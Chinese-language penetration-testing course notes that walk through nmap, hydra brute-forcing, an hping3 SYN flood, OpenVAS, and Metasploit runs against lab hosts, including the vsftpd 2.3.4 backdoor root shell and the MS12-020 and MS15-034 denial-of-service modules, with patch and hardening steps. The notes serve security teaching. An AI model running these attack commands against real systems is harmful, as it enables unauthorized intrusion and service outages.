内容回顾
1.nmap扫描: TCP半开扫描:nmap -sS 目标地址/域名 -s : scan 扫描 S:SYN TCP全开扫描:nmap -sT 目标地址/域名 T:TCP UDP扫描:nmap -sU 目标地址/域名 U:UDP 扫描目标主机的操作系统: nmap -sS -O 目标地址/域名 -O:Operation 操作系统 扫描主机开放的端口服务及版本信息: nmap -sV 目标地址/域名 V:Version 版本 扫描目标网段的存活主机: nmap -sP 目标网段 192.168.10.0/24 P:Ping nmap —help:获取命令选项的帮助 crunch:生成密码文件 crunch 密码的最小长度 密码的最大长度 密码素材 -o 文件名 -o:output 输出 /保存为文件 hydra:海德拉/许德拉 hydra -l 用户名 -p 密码 目标地址 协议/服务 -l:login 登录(用户名) -p:password 密码 -L:指定用户名字典 -P:指定密码字典 -o:输出文件 -v:查看海德拉版本 hydra -L 用户名文件 -P 密码文件 目标地址 协议/服务 -L:指定用户名文件 -P:指定密码文件 拒绝服务攻击Dos: hping3 —syn —flood -p 端口 目标地址 flood:洪水 渗透测试流程: 前期交互、**信息收集、威胁建模、漏洞分析、渗透攻击**、后渗透攻击、渗透报告
kali进行ssh连接报错解决:
┌──(root㉿kali)-[~] └─$ mkdir .ssh ┌──(root㉿kali)-[~] └─$ vim .ssh/config //创建ssh配置文件,防止ssh连接报错 Host * HostkeyAlgorithms +ssh-rsa PubkeyAcceptedKeyTypes +ssh-rsa
一、漏洞披露
漏洞: 是指硬件、软件、协议或系统安全策略上存在的缺陷,漏洞利用是利用程序中的某些漏洞, 来得到计算机的控制权、窃取资料、使目标主机崩溃、执行程序、获取键盘记录、截屏等
1、微软安全更新指南(自2017年2月起,替代安全公告)
安全公告都有一个惟一的编号 其命名规则是:MS年份-补丁序号 或 CVE-年份-补丁序号 比如MS17-010就表示2017年发布的编号为010的安全公告 最后安全公告:MS17-023 17年及之前以MS命名的微软漏洞: https://learn.microsoft.com/en-us/security-updates/ 访问后点击左侧Security Bulletins 17年及之后以CVE命名的微软漏洞: https://msrc.microsoft.com/update-guide/ 微软官方下载补丁文件(输入补丁编号) https://www.catalog.update.microsoft.com/home.aspx
2、CVE:通用漏洞与披露CVE可以理解为是一个漏洞字典,也可以称作信息安全漏洞词典
CVE是指给每个安全漏洞的确定一个唯一的名称,也叫CVE ID 编号.
http://cve.org
CVE可以理解为是一个漏洞字典,也可以称作信息安全漏洞词典 CVE是指给每个安全漏洞的确定一个唯一的名称,也叫CVE ID 编号. http://cve.org
3、国家信息漏洞共享平台https://www.cnvd.org.cn //国家信息漏洞共享平台
https://www.cnnvd.org.cn //国家信息安全漏洞数据库
https://www.cnvd.org.cn //国家信息漏洞共享平台 https://www.cnnvd.org.cn //国家信息安全漏洞数据库
4)美国国家信息安全漏洞库https://nvd.nist.gov
其他获取最新漏洞的方式:github.com 搜索CVE
加入一些论坛或者安全人员群
https://nvd.nist.gov 其他获取最新漏洞的方式:github.com 搜索CVE 加入一些论坛或者安全人员群
二、漏洞扫描OpenVAS
1、网络探测1)网络探测是指对计算机网络或DNS服务器进行扫描,获取有效的地址、活动端口、主机操作系统类型和安全弱点2)常用工具Nmap、Nessus、OpenVAS、Metasploit FrameworkNessus 是全世界最多人使用的系统漏洞扫描与分析软件,OpenVAS是Nessus的一个开源分支,用于管理目标系统的漏洞
1)网络探测是指对计算机网络或DNS服务器进行扫描,获取有效的地址、活动端口、主机操作系统类型和安全弱点
2)常用工具
Nmap、Nessus、OpenVAS、Metasploit Framework
Nessus 是全世界最多人使用的系统漏洞扫描与分析软件,OpenVAS是Nessus的一个开源分支,用于管理目标系统的漏洞
2、使用openvas漏洞扫描漏洞扫描是一种技术手段,可以发现目标系统存在的漏洞,还可以进一步利用发现的漏洞进行渗透测试。
漏洞扫描是一种技术手段,可以发现目标系统存在的漏洞,还可以进一步利用发现的漏洞进行渗透测试。
登录openvas
1)从物理机访问https://192.168.10.224:9392,登录用户名admin 密码admin,如图-3所示。

2)配置扫描的端口,通过页面菜单"Configuration-->"Port Lists",添加"http"端口为80
配置为仅扫描一个80端口

3)配置扫描目标,通过页面菜单"Configuration"-->"Targets",扫描的目标主机192.168.10.142,端口列表为"http",如图-5所示。

创建并执行扫描任务
1)配置扫描任务,通过页面菜单"Scans"-->"Tasks",添加扫描目标为"windows2008",如图-6所示。

2)执行扫描任务,通过页面菜单"Scans"-->"Tasks",找到列表中的任务,单击右侧的"播放"按钮执行扫描

检查扫描结果
1)通过页面菜单"Scans"-->"Reports",可以找到扫描报告页面;或者在执行扫描任务时,单击“Reports”下方的数字也可以打开当前任务的报告页,如图-8所示。

单击报告左侧的日期,就可以看到详细的报告页面了,如图-9所示。

漏洞扫描结果:
openvas下载与安装:
greenbone-openvas源代码: https://github.com/greenbone/openvas-scanner openvas-docker版下载安装 https://github.com/mikesplain/openvas-docker
openvas更新漏洞库:
三、渗透测试工具MSF
Metasploit Framework 简称MSF,是一款开源的安全漏洞检测工具。可以收集信息、探测系统漏洞、执行漏洞利用测试等,为渗透测试、攻击编码和漏洞研究提供了一个可靠平台,集成数千个漏洞利用、辅助测试模块
1、常用模块(武器)1)Auxiliary 辅助
一般负责执行扫描、嗅探、指纹识别、爆破等相关功能以辅助攻击,不直接在测试机和目标主机之间建立访问
2)Exploit 漏洞利用
利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问
3)Payloads 载荷
目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于
在目标系统上运行任意命令或者执行特定代码
从最简单的添加用户账号、提供命令行Shell到基于图形化界面控制,以及最复杂、
具有大量后渗透攻击阶段功能特性的Meterpreter
4)Post 后渗透
在取得目标的远程控制权(“得手”)以后,可以进一步实施的攻击动作,如部署后门木马、
获取敏感信息、实施跳板攻击等
1)Auxiliary 辅助 一般负责执行扫描、嗅探、指纹识别、爆破等相关功能以辅助攻击,不直接在测试机和目标主机之间建立访问 2)Exploit 漏洞利用 利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问 3)Payloads 载荷 目标系统在被渗透攻击之后完成实际攻击功能的代码,成功渗透目标后,用于 在目标系统上运行任意命令或者执行特定代码 从最简单的添加用户账号、提供命令行Shell到基于图形化界面控制,以及最复杂、 具有大量后渗透攻击阶段功能特性的Meterpreter 4)Post 后渗透 在取得目标的远程控制权(“得手”)以后,可以进一步实施的攻击动作,如部署后门木马、 获取敏感信息、实施跳板攻击等
2、msfconsole基础命令? //获取帮助
? show //查看show指令的帮助
search //搜索模块(找武器)
use //使用模块(使用武器/持有武器)
set //设置模块选项(设置攻击目标)
run //运行当前模块(发起攻击)
options //列出当前模块的选项
show //查看模块或相关信息
back //返回上一步
exit/quit //退出MSF控制台
? //获取帮助 ? show //查看show指令的帮助 search //搜索模块(找武器) use //使用模块(使用武器/持有武器) set //设置模块选项(设置攻击目标) run //运行当前模块(发起攻击) options //列出当前模块的选项 show //查看模块或相关信息 back //返回上一步 exit/quit //退出MSF控制台
3、MSF初始配置工作区 ,MSF将所有数据都存储在PostgreSQL,为了方便开展工作,MSF针对不同的渗透项目执行渗透时,
所产生的工作数据,都可以存储在不同的工作区内,方便以后我们写报告时调用数据
第一步:初始化数据库[root@kail ~]# msfdb init //初始化数据库
[root@kail ~]# systemctl enable postgresql --now //开机自启动数据库
[root@kail ~]# msfconsole //进入msf控制台
第二步:创建/删除/切换工作区msf6 > workspace //查看当前工作区
msf6 > workspace -a tedu //创建工作区tedu,自动切换到新工作区
msf6 > workspace default //切换到default工作区
msf6 > workspace -d tedu //删除工作区tedu
练习:
1.查看当前的所有工作区
workspace
2.创建zhangsan和tony工作区
workspace -a zhangsan
workspace -a tony
3.切换到zhangsan工作区
workspace zhangsan
4.删除zhangsan,tony工作区
workspace -d zhangsan
workspace -d tony
第三步:扫描数据msf6 > db_nmap 192.168.10.143 //调用nmap扫描目标
工作区 ,MSF将所有数据都存储在PostgreSQL,为了方便开展工作,MSF针对不同的渗透项目执行渗透时, 所产生的工作数据,都可以存储在不同的工作区内,方便以后我们写报告时调用数据
第一步:初始化数据库
[root@kail ~]# msfdb init //初始化数据库 [root@kail ~]# systemctl enable postgresql --now //开机自启动数据库 [root@kail ~]# msfconsole //进入msf控制台
第二步:创建/删除/切换工作区
msf6 > workspace //查看当前工作区 msf6 > workspace -a tedu //创建工作区tedu,自动切换到新工作区 msf6 > workspace default //切换到default工作区 msf6 > workspace -d tedu //删除工作区tedu 练习: 1.查看当前的所有工作区 workspace 2.创建zhangsan和tony工作区 workspace -a zhangsan workspace -a tony 3.切换到zhangsan工作区 workspace zhangsan 4.删除zhangsan,tony工作区 workspace -d zhangsan workspace -d tony
第三步:扫描数据
msf6 > db_nmap 192.168.10.143 //调用nmap扫描目标
四、MSF辅助模块Auxiliary应用
1、网站目录扫描(Linux靶机/windows靶机)
第一步:查找辅助脚本,使用辅助脚本
msf6 > search dir_scan //搜索dir_scan脚本 (找武器) msf6 > use 0 //使用编号为0的脚本 (使用武器) msf6 > set rhosts 192.168.10.143 //设置攻击目标 (设置攻击目标) msf6 > run //运行脚本 (发起攻击) [] Detecting error code [] Using code '404' as not found for 192.168.10.143 [+] Found http://192.168.10.143:80/cgi-bin/ 404 (192.168.10.143) [+] Found http://192.168.10.143:80/doc/ 200 (192.168.10.143) [+] Found http://192.168.10.143:80/icons/ 404 (192.168.10.143) [+] Found http://192.168.10.143:80/index/ 404 (192.168.10.143) [+] Found http://192.168.10.143:80/phpMyAdmin/ 200 (192.168.10.143) [+] Found http://192.168.10.143:80/test/ 404 (192.168.10.143) 练习: 利用MSF发起目录扫描,扫描win2008的后台目录 1.寻找可利用程序 msf6 > search dir_scan 2.使用程序 msf6 > use 0 3.设置扫描目标主机 msf6 > set rhosts 192.168.10.143 4.运行程序 msf6 > run
第二步:验证网站目录
在物理机浏览器访问: http://192.168.10.143/doc //查看网站列表
2、DOS攻击(Windows靶机)
1)MS12-020 远程桌面漏洞-死亡之蓝
CVE-2012-0002(MS12-020)漏洞,利用Windows系统的远程桌面协议(RDP)存在缓存溢出漏洞,攻击者可通过向目标操作系统发送特定内容的RDP包造成操作系统蓝屏
msf6 > search ms12-020 //搜索ms12-020脚本 Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/ scanner /rdp/ms12_020_check normal Yes MS12-020 Microsoft Remote Desktop Checker 1 auxiliary/ dos /windows/rdp/ms12_020_maxchannelids 2012-03-16 normal No MS12-020 Microsoft Remote Desktop Use-After-Free DoS 一个是ID为 0 有一个关键词 scanner, 是 扫描 的脚本 一个是ID为 1 有一个关键词 dos ,是 拒绝服务 攻击的脚本 msf6 > use 1 //使用DOS攻击脚本 msf6 auxiliary(scanner/rdp/ms12_020_check) > set rhosts 192.168.10.142 //设置攻击目标 msf6 auxiliary(scanner/rdp/ms12_020_check) > run //攻击
五、MSF漏洞利用Exploit应用(攻击Linux靶机)
CVE-2011-2523 vsftpd 2.3.4 后门漏洞(笑脸漏洞),此漏洞允许以root身份执行任意命令
msf6 > search vsftpd msf6 > use 0 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.10.143 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run [*] 192.168.10.143:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.10.143:21 - USER: 331 Please specify the password. [+] 192.168.10.143:21 - Backdoor service has been spawned, handling... [+] 192.168.10.143:21 - UID: uid=0(root) gid=0(root) [*] Found shell.Command shell session 1 opened ( 0.0.0.0:0 -> 192.168.10.143:6200 ) //侵入成功 whoami //显示当前用户 root pwd //查看当前目录 /root
六、CVE-2015-1635漏洞攻防实战
CVE-2015-1635(MS15-034)漏洞存在于HTTP协议堆栈(HTTP.sys)中,攻击者只要发送恶意http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃
补丁文件:Windows6.1-KB3042553-x64
1)漏洞扫描(OpenVAS报告) 2)用poc脚本去验证漏洞真实存在 3)MSF漏洞利用,DOS攻击服务器蓝屏 4)对IIS安全加固:关闭内核缓存 5)MSF漏洞利用,服务器不再蓝屏,成功防御了攻击 6)把内核缓存在开启(内核缓存可加快网站性能) 7)对系统进行加固:安装系统补丁 8)用POC脚本测试,发现提示目标服务器补丁已修复 9)MSF漏洞利用,发现目标服务器不再蓝屏
1、漏洞扫描

2、漏洞验证2.1 POC脚本进行漏洞验证1)上传 cve-2015-1635.poc 到kali 系统 root目录下
2)修改cve-2015-1635.poc 文件中的 ipaddr 为 win2008 地址
ipAddr = "192.168.10.142"
3)开始验证
[root@kali ~] # python2 cve-2015-1635.poc //执行POC验证脚本
[*] Audit Started //审计开始
[!!] Looks VULN //看起来很脆弱(vulnerable)
2.2 MSF寻找漏洞验证程序进行验证msf6 > search ms15-034
msf6 > use 1
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > set rhosts 192.168.10.142
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > run
[+] Target may be vulnerable... // 目标可能是脆弱的(有ms15-034漏洞)
[+] Stand by...
2.1 POC脚本进行漏洞验证
1)上传 cve-2015-1635.poc 到kali 系统 root目录下 2)修改cve-2015-1635.poc 文件中的 ipaddr 为 win2008 地址 ipAddr = "192.168.10.142" 3)开始验证 [root@kali ~] # python2 cve-2015-1635.poc //执行POC验证脚本 [*] Audit Started //审计开始 [!!] Looks VULN //看起来很脆弱(vulnerable)
2.2 MSF寻找漏洞验证程序进行验证
msf6 > search ms15-034 msf6 > use 1 msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > set rhosts 192.168.10.142 msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > run [+] Target may be vulnerable... // 目标可能是脆弱的(有ms15-034漏洞) [+] Stand by...
3、漏洞利用msf6 > search ms15-034
msf6 > use 0
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > set rhosts 192.168.10.142
msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > run
//检查W2008 主机是否蓝屏
如果攻击失败,还原win2008到靶机的快照位置,再次发起攻击(还原快照后win2008IP会变,注意查看IP)
msf6 > search ms15-034 msf6 > use 0 msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > set rhosts 192.168.10.142 msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > run //检查W2008 主机是否蓝屏 如果攻击失败,还原win2008到靶机的快照位置,再次发起攻击(还原快照后win2008IP会变,注意查看IP)
4、对IIS安全加固:关闭内核缓存







5、MSF漏洞利用,服务器不再蓝屏,成功防御了攻击
sf6 > search ms15-034 msf6 > use 0 msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > set rhosts 192.168.10.142 msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > run //再次使用攻击脚本去对目标服务器进行攻击,发现目标服务器不再蓝屏了
6、把内核缓存再次开启(内核缓存可加快网站性能)
7、对系统进行加固:安装系统补丁补丁:MS15-034-Windows6.1-KB3042553-x64-2008R2
补丁:MS15-034-Windows6.1-KB3042553-x64-2008R2
8、用POC脚本测试,发现提示目标服务器补丁已修复
[root@kali ~] python cve-2015-1635.poc [*] Audit Started //开始审计 [*] Looks Patched //看起来补丁已修复
9、MSF漏洞利用,发现目标服务器不在蓝屏
msf6 > search ms15-034 msf6 > use 1 msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > set rhosts 192.168.10.142 msf6 auxiliary(dos/http/ms15_034_ulonglongadd) > run [-] Target is not vulnerable //目标没有漏洞
附:使用github获取最新CVE漏洞信息
1.访问github官网:http://github.com 2.搜索栏搜索:CVE 3.点击排行第一的项目,看到历年的CVE漏洞
1)漏洞扫描(OpenVAS报告),使用POC脚本验证漏洞,MSF漏洞扫描程序验证 2)MSF漏洞利用 2.1 search 漏洞编号 2.2 use 程序序号 2.3 set rhosts 目标 2.4 run/exploit 3)漏洞修复:修改配置,打补丁 4)漏洞修复验证 4.1 扫描 4.2 攻击